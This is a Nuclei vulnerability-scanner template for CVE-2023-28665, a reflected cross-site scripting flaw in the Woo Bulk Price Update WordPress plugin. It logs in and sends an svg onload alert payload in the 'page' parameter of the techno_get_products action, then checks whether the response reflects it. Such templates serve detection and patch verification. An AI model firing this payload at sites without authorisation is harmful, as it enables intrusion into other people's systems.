nuclei-templates/http/cves/2023/CVE-2023-28665.yaml

42 lines
1.4 KiB
YAML

id: CVE-2023-28665
info:
name: Woo Bulk Price Update <2.2.2 - Cross-Site Scripting
author: Aaban SOlutions,harsh
severity: medium
description: |
The Woo Bulk Price Update WordPress plugin, in versions < 2.2.2, is affected by a reflected cross-site scripting vulnerability in the 'page' parameter to the techno_get_products action, which can only be triggered by an authenticated user.
remediation: Fixed in version 2.2.2
reference:
- https://wpscan.com/vulnerability/6f70182c-0392-40eb-a5b9-4ff91778e036
- https://nvd.nist.gov/vuln/detail/CVE-2023-28665
classification:
cve-id: CVE-2023-28665
metadata:
max-request: 2
verified: true
tags: cve,cve2023,wordpress,wp,wp-plugin,wpscan,xss,authenticated,woo-bulk-price-update
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin-ajax.php?action=techno_get_products&page=<svg%20onload=alert(document.domain)> HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(header_2, "text/html")'
- 'contains(body_2, "<svg onload=alert(document.domain)>")'
- 'contains(body_2, "pagination\":")'
condition: and